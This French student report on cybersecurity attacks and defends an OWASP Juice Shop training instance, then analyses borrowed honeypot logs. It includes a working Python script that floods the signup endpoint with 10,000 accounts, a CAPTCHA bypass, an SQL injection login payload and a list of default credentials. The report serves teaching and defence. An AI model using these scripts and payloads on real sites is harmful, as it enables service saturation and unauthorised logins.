---
# System prepended metadata

title: Rapport de Big Data pour la cybersécurité

---

**Florent Caspar, Quentin Jacqmin, Christophe Belleut, Merlin Baudou**

# Rapport de Big Data pour la cybersécurité

[ToC]

## :bomb: Partie offensive

### Profil de la cible

Nous avons décidé de nous concentrer sur les OWASP Juice Shop. L'application contient un grand nombre de défis de piratage de difficulté variable où l'utilisateur est censé exploiter des vulnérabilités. La progression du piratage est suivie sur un tableau de scores. Trouver ce tableau de scores est d'ailleurs l'un des défis à relever!

### Scénario

#### Attaque par guessing d'URLs

De nombreux outils existent et permettent d'analyser les sous-URL existantes sur une application web. La découverte nous a permis notamment d'accéder à des pages qui ne devraient pas être disponibles pour les utilisateurs non loggués:
- [https://tst-lolipot.herokuapp.com/metrics](https://tst-lolipot.herokuapp.com/metrics) permet d'accéder aux métriques du serveur web,
- [https://tst-lolipot.herokuapp.com/.well-known/security.txt](https://tst-lolipot.herokuapp.com/.well-known/security.txt)
*La norme prescrit un fichier texte appelé "security.txt" qui est similaire à robots.txt mais destiné à être lu par les humains souhaitant contacter le propriétaire d'un site Web au sujet des problèmes de sécurité.* Ce fichier nous donne l'adresse email de l'administrateur du site, celle-ci pourra être utilisée pour se connecter au site,
- [https://tst-lolipot.herokuapp.com/ftp](https://tst-lolipot.herokuapp.com/ftp) permet d'accéder à un ensemble de documents confidentiels non sécurisés.

##### Conclusion
En tant qu'administrateur de sites, il faut veiller à ce que toutes les URLs nécessitent une authentification, cela peut être fait à la main, ou en utilisant des outils de recherche.
Tout document n'ayant rien à faire sur le serveur doit en être enlevé.

#### Création massive de comptes

La plateforme OWASP Juice Shop permet de se créer des comptes.![](https://i.imgur.com/3vtMx6x.jpg =x800).

En utilisant les outils de développement du navigateur, on arrive à intercepter la requête de création d'un compte. La procédure ne comporte pas de moyen de contournement des robots (CAPTCHA, vérification de temps, token).
Il suffit donc de reproduire la procédure avec un outil tel que **Postman** pour pouvoir scripter la création de comptes par requêtes POST.
Les sites hébergés sur *Heroku* disposent d'une place limitée, l'objectif est triple:
- remplir la base de données jusqu'à saturation,
- remplir les fichiers de logs jusqu'à saturation, le rendant quasi inutilisable,
- saturer le serveur, qui pour une simple requête POST doit créer un utilisateur, l'ajouter en base, et répondre au client.

```python=1
# Script de création de compte par requête POST

import requests
import json

def request(email):
  url = "https://tst-lolipot.herokuapp.com/api/Users/" # l'URL à attaquer



  payload = json.dumps({
    "email": email,
    "password": "heyhey",
    "passwordRepeat": "heyhey",
    "securityQuestion": {
      "id": 2,
      "question": "Nom de jeune fille de la mère",
      "createdAt": "2022-01-11T13:43:48.811Z",
      "updatedAt": "2022-01-11T13:43:48.811Z"
    },
    "securityAnswer": "Victoria"
  }) # le contenu du formulaire de création de compte
  headers = {
    'Content-Type': 'application/json'
  }
  response = requests.request("POST", url, headers=headers, data=payload) # envoi de la requête
```

```python=
# Script de création d'une adresse email
# Le serveur n'accepte pas les adresses mail dupliquées dans sa base de données
import random
import string

def email():
	length = 10
	result = ''.join((random.choice(string.ascii_lowercase) for x in range(length)))
	return result + "@yanncommitpas.com"
```

```python=
# Script de création de 10000 comptes à la volée
from heroku_ import *
from generate_e_mail import *

def main():
	for k in range(10000):
		mail_ = email() #création d'une adresse email
		request(mail_) #création du compte


if __name__ == '__main__':
	main()
```

###### Conclusion de l'attaque
Il faut sécuriser les formulaires avec des systèmes anti-robots (CAPTCHA, temporisateur, token).


##### Création massive d'avis
Le site propose un onglet pour déposer des avis.![](https://i.imgur.com/PRemety.png)
Cette fois-ci le dépôt d'avis semble mieux protégé puisqu'un "captcha" a été mis en place. Il faut répondre à l'énigme proposée pour pouvoir envoyer l'avis.
L'énigme est en réalité assez simple, il suffit de répondre à une opération d'un niveau primaire, ce que n'importe quel script Python est en mesure de faire.
Une nouvelle fois, après analyse via les outils de développement du navigateur, l'envoi d'avis se fait par simples requêtes POST (ici pour un avis "hey" avec une note de 1):
```json=
{
 "captchaId":3,
 "captcha":"-2",
 "comment":"hey (anonymous)",
 "rating":1
}
```
On remarque quelque chose de très intéressant, le champ `captchaID`, qui correspond au numéro de captcha auquel on a répondu. On comprend que le site possède une base de données de captcha, et qu'en recevant le commentaire, le site vérifie simplement que la réponse du captcha correspond bien à celle contenue dans sa base.
Pire, en faisant une nouvelle inspection des requêtes effectuées avant d'obtenir la page permettant de laisser un avis, on se rend compte que le site nous fait parvenir le captcha, son ID et la réponse que l'on doit renvoyer pour valider le captcha.
![](https://i.imgur.com/UYsGJls.png)
On est donc en mesure de:
- envoyer des miliers de commentaires négatifs,
- remplir la base de données,
- saturer le site jusqu'à rupture.


###### Conclusion de l'attaque
Sécuriser un site avec des systèmes CAPTCHA faibles revient à ne pas les sécuriser. Pire, cela surcharge le système avec des éléments de sécurité inutiles.

#### Connexion par brute-force

La connexion à un compte n'est absolument pas protégée par un système anti-robot, il suffit de s'armer d'un peu de patience et d'une bonne liste de mots de passe en essayant chacune des adresses mails présentes sur le site.

#### Injection SQL

Le champ `Password` semble bien protégé contre les injections SQL, mais ce n'est pas le cas du champ `Email` dans lequel un simple `admin' OR '1'='1'--` suffit pour se connecter en tant qu'administrateur.

###### Conclusion de l'attaque
Il faut sanitizer tous les champs des formulaires, pas uniquement les plus sensibles.


## :shield: Partie défensive

Initialement, nous voulions faire un honeypot SSH mais nous n'avons pas pu acquérir de VPS sur OVH. Après avoir essayé d'importer 5 honeypots différents ([sshesame](https://github.com/jaksi/sshesame), [go-HoneyPot](https://github.com/Mojachieee/go-HoneyPot), [log4j-honeypot-flask](https://github.com/BinaryDefense/log4j-honeypot-flask), [Honeypot](https://github.com/Shmakov/Honeypot), [heralding](https://github.com/johnnykv/heralding)) sur [Heroku](https://heroku.com) sans succès (librairie manquante, problème de droits/build, application tiers nécessaire), nous avons décidé de nous tourner vers un OWASP Juice Shop.

Les logs d'[Heroku](https://heroku.com) sont éphémères: ils ne sont conservés que lorsque nous restons sur la page des logs de l'application. De plus, ils sont très limités (headers et corps des requêtes non loggués). 

Nous avons donc empruntés les logs (*.csv*) d'un autre groupe ayant utilisé un pot de miel pour réaliser notre analyse. Ces logs comportent:
- les sessions protocolaires,
- les tentatives d'authentification.

L'objectif d'un pot de miel est d'inciter les attaquants à l'attaquer plutôt que la vraie plateforme. On l'expose volontairement pour bannir préventivement les attaquants et mieux comprendre les attaques qu'ils souhaiteraient effectuer.

:warning: Bannir des adresses IP, même après filtration, n'est pas une solution très fiable à long terme. Il est très facile de bannir inutilement des utilisateurs n'ayant rien demandé à personne.

### Approche extérieure de la plateforme

Les fichiers au format *csv* ne sont que des fichiers textes où les colonnes sont symbolisées par des *virgules (,)* et les lignes:

```
timestamp,duration,session_id,source_ip,source_port,destination_ip,destination_port,protocol,num_auth_attempts
2022-01-11 14:00:42.993519,0,466b048b-f1dc-42ee-825a-6db58aa0bf92,193.50.135.205,35050,172.17.0.2,80,http,0
2022-01-11 14:00:42.993948,4,417e349a-3342-494e-b24a-432f9da594a0,193.50.135.205,35052,172.17.0.2,80,http,0
2022-01-11 14:00:47.111459,30,de0e0753-ec96-47ec-b9cf-e37d04e7fbc4,193.50.135.205,35054,172.17.0.2,80,http,0
2022-01-11 14:01:21.995177,0,36640cd8-de8f-4f13-b07a-09b760aadd1f,193.50.135.205,48090,172.17.0.2,22,ssh,0
2022-01-11 14:02:19.660442,0,935d3efa-8153-4eb3-a7b2-05f0f84c2f50,193.50.135.205,35072,172.17.0.2,80,http,0
2022-01-11 14:02:19.709748,0,3f6f2f25-874b-4570-99d8-bfa68fbd69f1,193.50.135.205,48144,172.17.0.2,22,ssh,0
2022-01-11 14:02:19.710177,0,f4479186-27c7-452a-945f-3ee52a0519db,193.50.135.205,38486,172.17.0.2,21,ftp,0
[...]
```

On peut récupérer toutes les adresses IP établissant une session avec le regex suivant: `,([^,]*)(?:,[^,]*){4},[0-9]+$`.

Par exemple, en utilisant CyberChef:

![](https://i.imgur.com/TJ1lH8K.png)

### Tentatives d'intrusion et protection

#### Injection SQL

On remarque des tentatives d'injection SQL dans les logs d'authentifications:

```
admin' OR '1'='1';--
admin' OR '1'='1'--
```

Pour lutter contre ces injections, il faut sanitizer tous les formulaires.

#### Brute-force

On constate un très grand nombre de tentatives d'authentification depuis quelques adresses IP. Il s'agit de robot qui essaient des combinaisons d'utilisateur/mot de passe communes.

Pour lutter contre ces intrusions, il faut:
- mettre en place un temporisateur après un certain nombre de tentatives de connexion,
- mettre en place un CAPTCHA (si protocolairement réalisable),
- changer de mot de passe régulièrement ou si celui-ci est répertorié dans une base de données des mots de passe connus.

#### Mots de passe faibles/par défaut

Les identifiants faibles ou par défaut sont testés en premier par les attaquants:

```
admin:admin
root:1234
admin:pass
test:test
root:root
admin:12345
user:password
[...]
```

Il faut toujours changer le mot de passe par défaut à l'installation d'un nouveau périphérique/application/infrastructure et utiliser des mots de passe forts.

#### Bonnes pratiques

Voici une liste non exhaustive de bonnes pratiques pouvant être mises en place selon l'application:

##### Application web
- installer un *Web Application Firewall* (WAF),
- sécuriser les applications avec des protections anti-robots,
- rendre obligatoire l'authentification lors de l'accès à des pages web restreintes.

#### Serveur SSH
- changer le port par défaut (évite que le **nmap** classique dévoile le serveur),
- désactiver la connexion par mot de passe au profit d'un couple clé publique/privée.


## :mag: Analyse de logs

### Localisation et identification

Une simple recherche [AbuseIPDB](https://www.abuseipdb.com/) sur les adresses "louches" permet souvent de comprendre l'intention des attaquants. Par exemple, `62.233.50.53` et `61.177.172.76` sont des adresses répertoriées pour faire du brute-forcing SSH; `87.103.198.140` pour du port scanning.

On peut également utiliser une API pour géolocaliser les IP.

En utilisant [une API de Bulk IP Lookup](https://www.showmyip.com/bulk-ip-lookup/) sur un échantillon d'IPs, on peut voir qu'il y a un certain nombre d'adresses situées en Russie et en Chine:

![](https://i.imgur.com/hT0BB1l.png)

```csvpreview
IP,Country,City,Region,ZIP,Timezone,ISP,Org,ASN,Lat,Long
89.58.25.39,Germany,Nuremberg,Bavaria,90403,Europe/Berlin,"netcup GmbH","netcup GmbH","AS197540 netcup GmbH",49.4521,11.0767
46.19.139.18,Switzerland,Bern,Bern,3004,Europe/Zurich,"Private Layer INC",Clientid7729,"AS51852 Private Layer INC",46.948,7.44745
87.103.243.101,Russia,Novosibirsk,"Novosibirsk Oblast",630007,Asia/Novosibirsk,"Rostelecom networks","OJSC Sibirtelecom","AS12389 PJSC Rostelecom",54.9022,83.0335
62.233.50.53,Russia,Moscow,Moscow,144700,Europe/Moscow,"Chang Way Technologies Co. Limited","Sierra LLC","AS57523 Chang Way Technologies Co. Limited",55.7558,37.6173
45.146.165.37,Russia,Moscow,Moscow,127490,Europe/Moscow,HOSTWAY,"IT Resheniya LLC","AS49505 OOO Network of data-centers Selectel",55.7483,37.6171
45.83.67.4,Germany,Berlin,"Land Berlin",12489,Europe/Berlin,INTERNET-RESEARCH,Unknown,"AS208843 Alpha Strike Labs GmbH",52.4286,13.5316
61.177.172.61,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
87.103.198.140,Russia,Kiselëvsk,"Kemerovo Oblast",652700,Asia/Novokuznetsk,"PJSC Rostelecom","OJSC Sibirtelecom","AS12389 PJSC Rostelecom",53.9875,86.6603
61.177.172.87,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
61.177.172.60,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
58.248.193.1,China,Guangzhou,Guangdong,Unknown,Asia/Shanghai,"CNC Group CHINA169 Guangdong Province Network",Unknown,"AS17622 China Unicom Guangzhou network",23.1181,113.2539
61.177.172.174,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
66.240.205.34,"United States","San Diego",California,92123,America/Los_Angeles,"CariNet, Inc.","CariNet, Inc.","AS10439 CariNet, Inc.",32.8296,-117.134
78.41.53.4,France,Marseille,"Provence-Alpes-Côte d'Azur",13000,Europe/Paris,"Optima Concept Sarl","Optima Concept Sarl","AS209966 OPTIMA CONCEPT SARL",43.2965,5.36978
61.177.172.102,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
5.34.206.137,Ukraine,Kyiv,"Kyiv City",01011,Europe/Kiev,"Spaceshipnetworks LTD","Spaceshipnetworks LTD","AS15828 Blue Diamond Network Co., Ltd.",50.4501,30.5234
61.177.172.59,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
81.178.225.176,"United Kingdom",Stroud,England,GL5,Europe/London,TalkTalk,"TalkTalk Communications Limited","AS9105 TalkTalk Communications Limited",51.7385,-2.2194
61.177.172.91,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
74.89.162.89,"United States",Bayonne,"New Jersey",07002,America/New_York,"Cablevision Systems Corp.","Optimum Online (Cablevision Systems)","AS6128 Cablevision Systems Corp.",40.6679,-74.1178
65.49.20.66,"United States",Milpitas,California,95035,America/Los_Angeles,"Hurricane Electric LLC","The Shadow Server Foundation","AS6939 Hurricane Electric LLC",37.4352,-121.899
61.219.11.151,Taiwan,"New Taipei","New Taipei",Unknown,Asia/Taipei,"Chunghwa Telecom Co., Ltd.","Chunghwa Telecom Co. Ltd.","AS3462 Data Communication Business Group",24.9389,121.5422
89.250.167.191,Russia,Ulyanovsk,"Ulyanovsk Oblast",432000,Europe/Ulyanovsk,"Rostelecom MRF Volga","OJSC Rostelecom","AS12389 PJSC Rostelecom",54.3205,48.4468
80.82.77.139,Netherlands,Amsterdam,"North Holland",1012,Europe/Amsterdam,"IP Volume inc","IP Volume inc","AS202425 IP Volume inc",52.3759,4.8975
71.6.232.4,"United States","San Diego",California,92101,America/Los_Angeles,"CariNet, Inc.","CariNet, Inc.","AS10439 CariNet, Inc.",32.7157,-117.161
61.177.172.160,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
59.127.119.4,Taiwan,Taichung,"Taichung City",Unknown,Asia/Taipei,"Chunghwa Telecom Co., Ltd.","Chunghwa Telecom Co. Ltd.","AS3462 Data Communication Business Group",24.144,120.6844
45.180.149.255,Brazil,"São Paulo","Sao Paulo",01000,America/Sao_Paulo,"MOV TELECOM SERVICOS DE PROVEDORES DE INTERNET LTD","MOV TELECOM SERVICOS DE PROVEDORES DE INTERNET LTD","AS269138 MOV TELECOM SERVICOS DE PROVEDORES DE INTERNET LTD",-23.6283,-46.6409
64.62.197.62,"United States",Fremont,California,94539,America/Los_Angeles,"Hurricane Electric LLC","Hurricane Electric LLC","AS6939 Hurricane Electric LLC",37.4718,-121.92
51.12.87.180,Sweden,Gävle,"Gävleborg County","802 74",Europe/Stockholm,"Microsoft Corporation","Microsoft Limited","AS8075 Microsoft Corporation",60.6728,17.1611
61.177.172.76,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
61.177.172.175,China,Qinnan,Jiangsu,Unknown,Asia/Shanghai,Chinanet,"Chinanet JS","AS4134 CHINANET-BACKBONE",33.1402,119.789
89.248.173.131,Netherlands,Amsterdam,"North Holland",1012,Europe/Amsterdam,"IP Volume inc","Quasi Networks LTD.","AS202425 IP Volume inc",52.3759,4.8975
45.171.57.103,Brazil,"Governador Dix-Sept Rosado","Rio Grande do Norte",59790-000,America/Fortaleza,"Mikael M DA Silveira","Mikael M DA Silveira","AS268827 MIKAEL M DA SILVEIRA",-5.45789,-37.5212

```

### Automatisation des alertes

Mettre en place un système de monitoring pouvant prendre des actions sur des logs suspects, comme **fail2ban**, est un bon moyen de se prémunir d'un bon nombre d'attaques.
**fail2ban** comporte un système de *jail* qui permet d'enfermer des attaquants dans un faux serveur SSH. L'utilitaire permet également de bannir des IP si un nombre de tentatives trop important est constaté.

Autrement, en analysant les logs, on peut imaginer quelques scénarios d'attaques et provoquer des alertes en conséquence.

#### Attaques par brute-force

On peut obtenir toutes les IP dont le nombre de tentatives de connexion est supérieur à 10 en les identifiants avec le regex: `,([^,]*)(?:,[^,]*){4},(?:[1-9][0-9]+)$`.

On obtient la liste d'adresses suivante:
```
193.50.135.206
61.177.172.61
61.177.172.60
122.194.229.92
112.85.42.122
122.194.229.62
120.224.50.233
61.177.172.174
61.177.172.59
112.85.42.13
61.177.172.91
112.85.42.53
122.194.229.59
61.177.172.160
61.177.172.102
112.85.42.151
61.177.172.76
```

#### Géolocalisation

On utilise une API pour géolocaliser les IP avant l'établissement d'une session, si celle-ci est en Chine, en Russie ou reconnue comme un noeud Tor, on provoque une alerte.

#### Attaque sur un protocole donné

En imaginant que le serveur SSH ne soit accessible qu'en interne, on peut identifier les instances SSH avec le regex suivant: `,([^,]*)(?:,[^,]*){3},ssh,(?:[0-9]+)$` puis filter en ne conservant que les adresses IP externes.

On obtient les adresses suivantes:

```
89.58.25.39
46.19.139.18
62.233.50.53
61.177.172.61
61.177.172.87
61.177.172.60
61.177.172.174
61.177.172.102
61.177.172.59
61.177.172.91
61.177.172.160
64.62.197.62
61.177.172.76
61.177.172.175
[...]
```

Dans notre cas, on pourrait bannir les adresses de la forme `61.177.172.XXX`.

## Analyse avec Mitre-Att&ck

Dans nos logs, on remarque plusieurs tentatives d'injections SQL ainsi que du brute force sur les mots de passe. On trouve que ces techniques correspondent respectivement aux codes T1190 et T1110 d'attaques connues. En cherchant parmi les groupes d'attaquants utilisant ce genre d'attaque sur le site du Mitre, on trouve, par exemple, le groupe Chaos, sur lequel on peut observer la potentielle suite de l'attaque :  

![](https://i.imgur.com/IjTDVlr.png)

## Yara-rule

Pour notre yara-rule, on explicite les différentes parties importantes du payload identifié, notamment les mots visibles en clair.
Pour les conditions, nous en prenons au minimum 2 parmis les chaînes de caractères identifiées. 
![](https://i.imgur.com/IlfRUAV.png)
